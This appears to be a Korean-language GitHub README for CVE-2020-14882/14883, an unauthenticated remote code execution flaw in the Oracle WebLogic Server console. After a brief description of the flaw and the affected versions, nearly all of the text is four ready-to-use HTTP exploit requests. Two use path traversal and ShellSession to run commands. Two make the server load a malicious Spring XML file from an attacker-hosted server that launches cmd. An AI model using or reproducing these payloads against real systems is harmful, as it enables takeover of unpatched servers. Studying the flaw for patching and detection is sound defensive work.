murataydemir/cve-2020-14883[CVE-2020-14882] Oracle WebLogic Server 인증된 원격 코드 실행 (RCE)
[CVE-2020-14883] Oracle WebLogic Server 인증된 원격 코드 실행 (RCE)
Oracle Fusion Middleware의 Oracle WebLogic Server 제품(구성 요소: Console)에 존재하는 취약점입니다. 영향을 받는 지원 버전은 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 및 14.1.1.0.0입니다. 쉽게 악용될 수 있는 이 취약점은 HTTP를 통한 네트워크 접근이 가능한 인증되지 않은 공격자가 Oracle WebLogic Server를 손상시킬 수 있게 합니다. 이 취약점의 성공적인 공격은 Oracle WebLogic Server의 탈취로 이어질 수 있습니다.
개념 증명 (PoC) 1: Windows 기반 대상에서 tangosol.coherence.mvel2.sh.ShellSession() 사용
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117
_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('calc.exe');");
개념 증명 (PoC) 2: Linux 기반 대상에서 tangosol.coherence.mvel2.sh.ShellSession() 사용
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117
_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/CVE-2020-14883.txt');");
개념 증명 (PoC) 3: Windows 기반 대상에서 com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext 사용
poc.xml 파일의 내용
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd</value>
<value>/c</value>
<value>
<![CDATA[calc]]>
</value>
</list>
</constructor-arg>
</bean>
</beans>
python3 -m http.server 7575로 http 서버를 실행합니다.POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://yourserver:7575/poc.xml")
개념 증명 (PoC) 4: Windows 기반 대상에서 com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext 사용
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://yourserver:7575/poc.xml")